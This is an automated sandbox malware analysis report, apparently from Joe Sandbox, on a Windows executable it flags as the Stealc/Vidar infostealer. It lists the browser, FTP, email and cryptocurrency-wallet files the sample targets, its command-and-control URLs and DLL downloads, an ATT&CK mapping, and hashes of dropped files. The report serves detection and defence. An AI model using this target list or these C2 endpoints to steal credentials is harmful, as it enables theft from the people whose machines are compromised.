Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\bhsw2cld.default-release\places.sqlite-wal	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match

File source: Process Memory Space: file.exe PID: 5944, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 6.2.file.exe.d90000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000006.00000003.1311274897.00000000056A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.1538633015.000000000192E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 5944, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 5944, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	345 System Information Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	651 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	33 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	33 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	47%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
http://185.215.113.37/	100%	URL Reputation	malware
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/nss3.dll	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/mozglue.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/softokn3.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	100%	URL Reputation	malware
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/freebl3.dll	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	100%	URL Reputation	malware
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	100%	URL Reputation	malware
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	file.exe, 00000006.00000003.1407452315.00000000019F9000.00000004.00000020.00020000.00000000.sdmp, HCAEGCBF.6.dr	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	file.exe, 00000006.00000003.1407452315.00000000019F9000.00000004.00000020.00020000.00000000.sdmp, HCAEGCBF.6.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php1b	file.exe, 00000006.00000002.1538633015.00000000019A3000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&ci=1696500454657.12791&key=1696500454400500000.1&cta	file.exe, 00000006.00000002.1559362225.0000000029D84000.00000004.00000020.00020000.00000000.sdmp, IDBGHDGHCGHCAAKFIIEC.6.dr	false		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4CbW4pDk4pbW4CbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	IDBGHDGHCGHCAAKFIIEC.6.dr	false		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_f6f292994d7c60be109e4c185cbc03032d36d17160d4e639	file.exe, 00000006.00000002.1559362225.0000000029D84000.00000004.00000020.00020000.00000000.sdmp, IDBGHDGHCGHCAAKFIIEC.6.dr	false		unknown
http://185.215.113.37/Z	file.exe, 00000006.00000002.1538633015.0000000001989000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dllD	file.exe, 00000006.00000002.1538633015.0000000001989000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000006.00000003.1407452315.00000000019F9000.00000004.00000020.00020000.00000000.sdmp, HCAEGCBF.6.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dll&	file.exe, 00000006.00000002.1538633015.0000000001989000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37	file.exe, 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmp, file.exe, 00000006.00000002.1538633015.000000000192E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.phpom	file.exe, 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpk	file.exe, 00000006.00000002.1538633015.0000000001989000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37.com	file.exe, 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmp	true		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	file.exe, 00000006.00000003.1407452315.00000000019F9000.00000004.00000020.00020000.00000000.sdmp, HCAEGCBF.6.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dllh	file.exe, 00000006.00000002.1538633015.0000000001989000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpser	file.exe, 00000006.00000002.1538633015.00000000019A3000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000006.00000002.1565261922.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000006.00000002.1550143924.000000001DDE4000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, file.exe, 00000006.00000002.1565403351.000000006C5DD000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.6.dr, mozglue.dll.6.dr	false		unknown
https://mozilla.org0/	mozglue[1].dll.6.dr, mozglue.dll.6.dr, nss3[1].dll.6.dr, freebl3.dll.6.dr, softokn3.dll.6.dr, softokn3[1].dll.6.dr, freebl3[1].dll.6.dr, nss3.dll.6.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	file.exe, 00000006.00000003.1407452315.00000000019F9000.00000004.00000020.00020000.00000000.sdmp, HCAEGCBF.6.dr	false		unknown
http://185.215.113.37/e2b1563c6670f193.php3Ba	file.exe, 00000006.00000002.1538633015.00000000019A3000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll3%8	file.exe, 00000006.00000002.1538633015.0000000001989000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpW	file.exe, 00000006.00000002.1538633015.0000000001989000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dllsibility	file.exe, 00000006.00000002.1538633015.0000000001989000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000006.00000003.1407452315.00000000019F9000.00000004.00000020.00020000.00000000.sdmp, HCAEGCBF.6.dr	false	URL Reputation: safe	unknown
https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&ci=1696500454657.12791&key=1696500454400500	file.exe, 00000006.00000002.1559362225.0000000029D84000.00000004.00000020.00020000.00000000.sdmp, IDBGHDGHCGHCAAKFIIEC.6.dr	false		unknown
http://185.215.113.37/e2b1563c6670f193.php?	file.exe, 00000006.00000002.1538633015.0000000001989000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.ecosia.org/newtab/	file.exe, 00000006.00000003.1407452315.00000000019F9000.00000004.00000020.00020000.00000000.sdmp, HCAEGCBF.6.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dllb	file.exe, 00000006.00000002.1538633015.0000000001989000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	DGDAEHCBGIIJJJJKKKEHDGHJKF.6.dr	false	URL Reputation: safe	unknown
https://ac.ecosia.org/autocomplete?q=	file.exe, 00000006.00000003.1407452315.00000000019F9000.00000004.00000020.00020000.00000000.sdmp, HCAEGCBF.6.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dlly$	file.exe, 00000006.00000002.1538633015.0000000001989000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php6	file.exe, 00000006.00000002.1538633015.00000000019A3000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000006.00000002.1559362225.0000000029D84000.00000004.00000020.00020000.00000000.sdmp, IDBGHDGHCGHCAAKFIIEC.6.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.Qb0WswhkLhoa	DGDAEHCBGIIJJJJKKKEHDGHJKF.6.dr	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpnomi	file.exe, 00000006.00000002.1538633015.00000000019A3000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php8	file.exe, 00000006.00000002.1538633015.00000000019A3000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u	file.exe, 00000006.00000002.1559362225.0000000029D84000.00000004.00000020.00020000.00000000.sdmp, IDBGHDGHCGHCAAKFIIEC.6.dr	false	URL Reputation: safe	unknown
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	file.exe, 00000006.00000002.1559362225.0000000029D84000.00000004.00000020.00020000.00000000.sdmp, IDBGHDGHCGHCAAKFIIEC.6.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpfa	file.exe, 00000006.00000002.1538633015.00000000019A3000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org	DGDAEHCBGIIJJJJKKKEHDGHJKF.6.dr	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000006.00000003.1407452315.00000000019F9000.00000004.00000020.00020000.00000000.sdmp, HCAEGCBF.6.dr	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1538297
Start date and time:	2024-10-20 23:42:00 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 44s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	13
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/23@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 85% Number of executed functions: 77 Number of non-executed functions: 103
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	L0ad3r.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	Loader.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	jqLt8WnO6C.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	L0ad3r.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	Loader.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	jqLt8WnO6C.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AFHDGDGIIDGCFIDHDHDH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CFCBFBGDBKJKECAAKKFHDBFHII

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DAEGIDHD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 7, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1209935793793442
Encrypted:	false
